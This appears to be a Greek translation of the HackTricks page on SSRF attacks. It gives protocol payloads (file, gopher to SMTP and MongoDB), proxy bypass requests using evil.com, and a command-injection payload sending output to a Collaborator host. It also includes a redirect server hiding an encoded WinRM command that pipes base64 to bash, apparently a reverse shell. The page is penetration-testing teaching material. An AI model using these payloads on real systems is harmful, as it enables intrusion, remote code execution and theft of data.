SSRF (Server Side Request Forgery)

Reading time: 25 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Μια ευπάθεια Server-side Request Forgery (SSRF) συμβαίνει όταν ένας επιτιθέμενος χειραγωγεί μια εφαρμογή server-side ώστε να κάνει HTTP αιτήματα σε έναν τομέα της επιλογής του. Αυτή η ευπάθεια εκθέτει τον διακομιστή σε αυθαίρετα εξωτερικά αιτήματα που κατευθύνονται από τον επιτιθέμενο.

Capture SSRF

Το πρώτο πράγμα που πρέπει να κάνετε είναι να καταγράψετε μια αλληλεπίδραση SSRF που δημιουργήσατε εσείς. Για να καταγράψετε μια αλληλεπίδραση HTTP ή DNS μπορείτε να χρησιμοποιήσετε εργαλεία όπως:

Whitelisted Domains Bypass

Συνήθως θα διαπιστώσετε ότι το SSRF λειτουργεί μόνο σε ορισμένους εγκεκριμένους τομείς ή URL. Στην παρακάτω σελίδα έχετε μια συγκέντρωση τεχνικών για να προσπαθήσετε να παρακάμψετε αυτήν την έγκριση:

URL Format Bypass

Bypass via open redirect

Εάν ο διακομιστής είναι σωστά προστατευμένος, μπορείτε να παρακάμψετε όλους τους περιορισμούς εκμεταλλευόμενοι μια Ανοιχτή Ανακατεύθυνση μέσα στη σελίδα. Επειδή η ιστοσελίδα θα επιτρέπει SSRF στον ίδιο τομέα και πιθανώς θα ακολουθεί ανακατευθύνσεις, μπορείτε να εκμεταλλευτείτε την Ανοιχτή Ανακατεύθυνση για να κάνετε τον διακομιστή να έχει πρόσβαση σε οποιοδήποτε εσωτερικό πόρο.
Διαβάστε περισσότερα εδώ: https://portswigger.net/web-security/ssrf

Protocols

  • file://
  • Το σχήμα URL file:// αναφέρεται, δείχνοντας απευθείας στο /etc/passwd: file:///etc/passwd
  • dict://
  • Το σχήμα URL DICT περιγράφεται ως χρησιμοποιούμενο για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα που δίνεται απεικονίζει ένα κατασκευασμένο URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό καταχώρησης, καθώς και μια περίπτωση ενός PHP script που μπορεί να χρησιμοποιηθεί κακόβουλα για να συνδεθεί σε έναν διακομιστή DICT χρησιμοποιώντας διαπιστευτήρια που παρέχονται από τον επιτιθέμενο: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Αναγνωρίζεται ως πρωτόκολλο για ασφαλή μεταφορά αρχείων μέσω ασφαλούς κελύφους, παρέχεται ένα παράδειγμα που δείχνει πώς ένα PHP script θα μπορούσε να εκμεταλλευτεί για να συνδεθεί σε έναν κακόβουλο διακομιστή SFTP: url=sftp://generic.com:11111/
  • TFTP://
  • Το Trivial File Transfer Protocol, που λειτουργεί μέσω UDP, αναφέρεται με ένα παράδειγμα ενός PHP script που έχει σχεδιαστεί για να στείλει ένα αίτημα σε έναν διακομιστή TFTP. Ένα αίτημα TFTP γίνεται προς το 'generic.com' στην πόρτα '12346' για το αρχείο 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Αυτό το τμήμα καλύπτει το Lightweight Directory Access Protocol, τονίζοντας τη χρήση του για τη διαχείριση και πρόσβαση σε κατανεμημένες υπηρεσίες πληροφοριών καταλόγου μέσω δικτύων IP. Αλληλεπιδράστε με έναν διακομιστή LDAP στον localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Περιγράφεται μια μέθοδος εκμετάλλευσης ευπαθειών SSRF για αλληλεπίδραση με υπηρεσίες SMTP στον localhost, συμπεριλαμβανομένων βημάτων για την αποκάλυψη εσωτερικών ονομάτων τομέα και περαιτέρω ερευνητικών ενεργειών με βάση αυτές τις πληροφορίες.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Αν το SSRF εκτελείται από curl, το curl έχει μια δυνατότητα που ονομάζεται URL globbing που θα μπορούσε να είναι χρήσιμη για να παρακάμψει τα WAFs. Για παράδειγμα, σε αυτή την writeup μπορείτε να βρείτε αυτό το παράδειγμα για path traversal μέσω του file πρωτοκόλλου:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Η ικανότητα του πρωτοκόλλου Gopher να καθορίζει IP, θύρα και bytes για την επικοινωνία με τον διακομιστή συζητείται, μαζί με εργαλεία όπως το Gopherus και το remote-method-guesser για τη δημιουργία payloads. Δύο διακριτές χρήσεις απεικονίζονται:

Gopher://

Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε το IP, τη θύρα και τα bytes που θέλετε να στείλει ο διακομιστής. Στη συνέχεια, μπορείτε βασικά να εκμεταλλευτείτε μια SSRF για να επικοινωνήσετε με οποιονδήποτε TCP διακομιστή (αλλά πρέπει να ξέρετε πώς να μιλήσετε με την υπηρεσία πρώτα).
Ευτυχώς, μπορείτε να χρησιμοποιήσετε το Gopherus για να δημιουργήσετε payloads για πολλές υπηρεσίες. Επιπλέον, το remote-method-guesser μπορεί να χρησιμοποιηθεί για να δημιουργήσει gopher payloads για Java RMI υπηρεσίες.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Επιστροφή σύνδεσης στο 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Δημιουργία χρήστη με όνομα χρήστη=admin με κωδικό=admin123 και με άδεια=administrator

bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF μέσω του κεφαλίδας Referrer & Άλλα

Το λογισμικό ανάλυσης στους διακομιστές συχνά καταγράφει την κεφαλίδα Referrer για να παρακολουθεί τους εισερχόμενους συνδέσμους, μια πρακτική που ακούσια εκθέτει τις εφαρμογές σε ευπάθειες Server-Side Request Forgery (SSRF). Αυτό συμβαίνει επειδή τέτοιο λογισμικό μπορεί να επισκεφθεί εξωτερικές διευθύνσεις URL που αναφέρονται στην κεφαλίδα Referrer για να αναλύσει το περιεχόμενο των παραπομπών. Για να αποκαλυφθούν αυτές οι ευπάθειες, προτείνεται το πρόσθετο Burp Suite "Collaborator Everywhere", εκμεταλλευόμενο τον τρόπο που τα εργαλεία ανάλυσης επεξεργάζονται την κεφαλίδα Referer για να εντοπίσουν πιθανά επιθέσεις SSRF.

SSRF μέσω δεδομένων SNI από πιστοποιητικό

Μια κακή ρύθμιση που θα μπορούσε να επιτρέψει τη σύνδεση σε οποιοδήποτε backend μέσω μιας απλής ρύθμισης απεικονίζεται με ένα παράδειγμα ρύθμισης Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Σε αυτή τη διαμόρφωση, η τιμή από το πεδίο Server Name Indication (SNI) χρησιμοποιείται άμεσα ως διεύθυνση του backend. Αυτή η ρύθμιση εκθέτει μια ευπάθεια σε Server-Side Request Forgery (SSRF), η οποία μπορεί να εκμεταλλευτεί απλά καθορίζοντας τη ζητούμενη διεύθυνση IP ή το όνομα τομέα στο πεδίο SNI. Ένα παράδειγμα εκμετάλλευσης για να αναγκάσετε μια σύνδεση σε ένα αυθαίρετο backend, όπως το internal.host.com, χρησιμοποιώντας την εντολή openssl δίνεται παρακάτω:

bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget file upload

SSRF με Command Injection

Μπορεί να αξίζει να δοκιμάσετε ένα payload όπως: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Απόδοση PDFs

Εάν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παρέχει, μπορείτε να εισάγετε κάποιο JS που θα εκτελείται από τον δημιουργό του PDF (τον διακομιστή) κατά τη δημιουργία του PDF και θα μπορείτε να εκμεταλλευτείτε ένα SSRF. Βρείτε περισσότερες πληροφορίες εδώ.

Από SSRF σε DoS

Δημιουργήστε πολλές συνεδρίες και προσπαθήστε να κατεβάσετε βαριά αρχεία εκμεταλλευόμενοι το SSRF από τις συνεδρίες.

SSRF PHP Functions

Ελέγξτε την παρακάτω σελίδα για ευάλωτες PHP και ακόμη και Wordpress συναρτήσεις:

PHP SSRF

SSRF Redirect σε Gopher

Για ορισμένες εκμεταλλεύσεις μπορεί να χρειαστεί να στείλετε μια απάντηση ανακατεύθυνσης (πιθανώς για να χρησιμοποιήσετε ένα διαφορετικό πρωτόκολλο όπως το gopher). Εδώ έχετε διάφορους κωδικούς python για να απαντήσετε με μια ανακατεύθυνση:

python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Misconfigured proxies to SSRF

Tricks from this post.

Flask

Flask proxy vulnerable code
python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
app.run(threaded=False)

Το Flask επιτρέπει τη χρήση του @ ως αρχικό χαρακτήρα, που επιτρέπει να γίνει το αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη και να εισαχθεί ένα νέο. Αιτούμενο επίθεσης:

http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Ευάλωτος κώδικας:

Ανακαλύφθηκε ότι είναι δυνατό να ξεκινήσει η διαδρομή ενός αιτήματος με τον χαρακτήρα ; που επιτρέπει στη συνέχεια τη χρήση του @ και την έγχυση μιας νέας διεύθυνσης για πρόσβαση. Αιτημα επίθεσης:

http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Built-in Web Server

Ευάλωτος κώδικας PHP
php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

Η PHP επιτρέπει τη χρήση του χαρακτήρα * πριν από μια κάθετο στη διαδρομή του URL, ωστόσο, έχει άλλους περιορισμούς όπως ότι μπορεί να χρησιμοποιηθεί μόνο για τη ριζική διαδρομή / και ότι οι τελείες . δεν επιτρέπονται πριν από την πρώτη κάθετο, επομένως είναι απαραίτητο να χρησιμοποιηθεί μια διεύθυνση IP κωδικοποιημένη σε δεκαεξαδικό χωρίς τελείες, για παράδειγμα:

http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Αν έχετε προβλήματα να εξάγετε περιεχόμενο από μια τοπική IP λόγω CORS/SOP, η DNS Rebidding μπορεί να χρησιμοποιηθεί για να παρακάμψει αυτόν τον περιορισμό:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin είναι ένα εργαλείο για την εκτέλεση επιθέσεων DNS rebinding. Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS ονόματος του διακομιστή επίθεσης με τη διεύθυνση IP της στοχευμένης μηχανής και να σερβίρει επιθέσεις payload για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχευμένη μηχανή.

Δείτε επίσης τον δημόσια τρέχοντα διακομιστή στο http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Απαιτήσεις:

  • SSRF
  • Εξερχόμενες TLS συνεδρίες
  • Πράγματα σε τοπικές θύρες

Επίθεση:

  1. Ζητήστε από τον χρήστη/bot να έχει πρόσβαση σε ένα domain που ελέγχεται από τον επιτιθέμενο
  2. Ο TTL του DNS είναι 0 δευτερόλεπτα (έτσι το θύμα θα ελέγξει ξανά τη διεύθυνση IP του domain σύντομα)
  3. Δημιουργείται μια TLS σύνδεση μεταξύ του θύματος και του domain του επιτιθέμενου. Ο επιτιθέμενος εισάγει το payload μέσα στο Session ID ή Session Ticket.
  4. Το domain θα ξεκινήσει έναν άπειρο βρόχο ανακατευθύνσεων κατά του εαυτού του. Ο στόχος αυτού είναι να κάνει τον χρήστη/bot να έχει πρόσβαση στο domain μέχρι να εκτελέσει ξανά ένα DNS request του domain.
  5. Στο DNS request δίνεται μια ιδιωτική IP διεύθυνση τώρα (127.0.0.1 για παράδειγμα)
  6. Ο χρήστης/bot θα προσπαθήσει να επανιδρύσει τη TLS σύνδεση και για να το κάνει αυτό θα στείλει το Session ID/Ticket ID (όπου περιλαμβανόταν το payload του επιτιθέμενου). Συγχαρητήρια, καταφέρατε να ζητήσετε από τον χρήστη/bot να επιτεθεί στον εαυτό του.

Σημειώστε ότι κατά τη διάρκεια αυτής της επίθεσης, αν θέλετε να επιτεθείτε στο localhost:11211 (memcache) πρέπει να κάνετε το θύμα να δημιουργήσει την αρχική σύνδεση με www.attacker.com:11211 (η θύρα πρέπει πάντα να είναι η ίδια).
Για να εκτελέσετε αυτή την επίθεση μπορείτε να χρησιμοποιήσετε το εργαλείο: https://github.com/jmdx/TLS-poison/
Για περισσότερες πληροφορίες ρίξτε μια ματιά στην ομιλία όπου εξηγείται αυτή η επίθεση: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Η διαφορά μεταξύ ενός blind SSRF και ενός μη blind είναι ότι στο blind δεν μπορείτε να δείτε την απάντηση του SSRF request. Έτσι, είναι πιο δύσκολο να εκμεταλλευτείτε γιατί θα μπορείτε να εκμεταλλευτείτε μόνο γνωστές ευπάθειες.

Time based SSRF

Ελέγχοντας τον χρόνο των απαντήσεων από τον διακομιστή μπορεί να είναι δυνατό να γνωρίζετε αν υπάρχει ή όχι μια πηγή (ίσως να χρειάζεται περισσότερος χρόνος για να αποκτήσετε πρόσβαση σε μια υπάρχουσα πηγή από ότι σε μια που δεν υπάρχει)

Cloud SSRF Exploitation

Αν βρείτε μια ευπάθεια SSRF σε μια μηχανή που τρέχει μέσα σε ένα περιβάλλον cloud, μπορεί να είστε σε θέση να αποκτήσετε ενδιαφέρουσες πληροφορίες σχετικά με το περιβάλλον cloud και ακόμη και διαπιστευτήρια:

Cloud SSRF

SSRF Vulnerable Platforms

Πολλές γνωστές πλατφόρμες περιέχουν ή έχουν περιέχει ευπάθειες SSRF, ελέγξτε τις σε:

SSRF Vulnerable Platforms

Tools

SSRFMap

Εργαλείο για την ανίχνευση και εκμετάλλευση ευπαθειών SSRF

Gopherus

Αυτό το εργαλείο δημιουργεί Gopher payloads για:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser είναι ένας σαρωτής ευπαθειών Java RMI που υποστηρίζει επιθετικές λειτουργίες για τις πιο κοινές ευπάθειες Java RMI. Οι περισσότερες από τις διαθέσιμες λειτουργίες υποστηρίζουν την επιλογή --ssrf, για να δημιουργήσουν ένα SSRF payload για την ζητούμενη λειτουργία. Μαζί με την επιλογή --gopher, έτοιμα προς χρήση gopher payloads μπορούν να παραχθούν άμεσα.

SSRF Proxy

SSRF Proxy είναι ένας πολυνηματικός HTTP διακομιστής proxy σχεδιασμένος να σήρα τις HTTP κλήσεις του πελάτη μέσω HTTP διακομιστών που είναι ευάλωτοι σε Server-Side Request Forgery (SSRF).

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks